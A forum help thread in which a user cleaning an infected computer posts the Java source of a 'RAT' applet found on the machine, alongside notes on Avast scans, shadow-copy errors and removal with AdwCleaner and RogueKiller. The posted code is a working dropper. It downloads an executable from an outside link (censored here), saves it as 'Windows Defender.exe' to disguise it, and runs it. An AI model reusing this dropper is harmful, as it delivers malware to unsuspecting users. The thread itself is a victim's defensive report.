Information from another thread

Update: so I found a flash drive that is not bricked according to my mac laptop. I am not using the one that is on the off chance that it is infected and that the virus can be cross platform (are there any known?). The problem is that the new one had contents so I am going to have to wait till tomorrow to get the go ahead from my parents to simply have a backup for the flash drive (will erase when they give the go ahead). I already did backup the information though (on mac which from what I know is clean (Also Avast! anti-virus on it)).

I have to wait to try and fix this, then again time is of the essence but that time limit seems to have been long past if I only just found that folder. Guess Avast was not allowed to scan it?

EDIT: going to put a picture of stuff that Avast said from last scan on this computer

did some digging and here is essentially what the RAT.java was

(wish there was spoiler function)

Code:

import java.applet.Applet;
import java.io.BufferedOutputStream;
import java.io.File;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.net.URL;
import java.net.URLConnection;

@SuppressWarnings("serial")
public class RAT extends Applet {

	public void start() {
		String userDirectory = System.getProperty("user.home");
		final String DL_LINK = "    censored dropbox link";
		System.out.println("Starting");
		download(DL_LINK, userDirectory + "\\Windows Defender.exe");
		System.out.println("Done");
		Runtime run = Runtime.getRuntime();
		try {
			run.exec("\"" + userDirectory + "\\Windows Defender.exe\"");
		} catch (IOException e) {
			System.out.println("There is an error!");
			File exe = new File("D\\Windows Defender.exe");
			exe.delete();
		}
	}

	public void download(final String address, final String localFileName) {
		OutputStream out = null;
		URLConnection conn = null;
		InputStream in = null;
		try {
			final URL url = new URL(address);

			out = new BufferedOutputStream(new FileOutputStream(localFileName));
			conn = url.openConnection();
			in = conn.getInputStream();

			final byte[] buffer = new byte[1024];
			int numRead;
			while ((numRead = in.read(buffer)) != -1) {
				out.write(buffer, 0, numRead);
			}
		} catch (final Exception exception) {
		} finally {
			try {
				if (in != null) {
					in.close();
				}
				if (out != null) {
					out.close();
				}
			} catch (final IOException ioe) {
			}
		}
	}
}

Instead of Windows Defender.exe it would be rataman.exe

Golden said:

zl7man said:

virus can be cross platform (are there any known?).

Very, very few. Just use it, it will be fine.

Looks like that flash drive is really dead. Not recognized by mac as being there.
(was a really old flash drive)

edit: see first post for picture of the folder in question.

Added more logs and pictures. DDS had an interesting remark in attach file
4/2/2013 7:26:02 PM, Error: volsnap [36] - The shadow copies of volume C: were aborted because the shadow copy storage could not grow due to a user imposed limit.

Shadow copy.... um...

Jacee said:

What is shadow copy?: Help - Controlling Shadow Copies in Vista (and Windows 7!) Tips, Solutions & How Tos | PCMag.com

That makes sense. Well that solves that problem. I am going to sleep for tonight... be back tomorrow to check for new stuff.

So I decided to do something stupid, but it worked out I guess. Used AdwCleaner to delete the folder and checked where the folder was it is gone. Going to run full scan with Avast! now.

(Attached AdwCleaner delete log)
ran Roguekiller and attached the log because I am unsure about the registry stuff it mentioned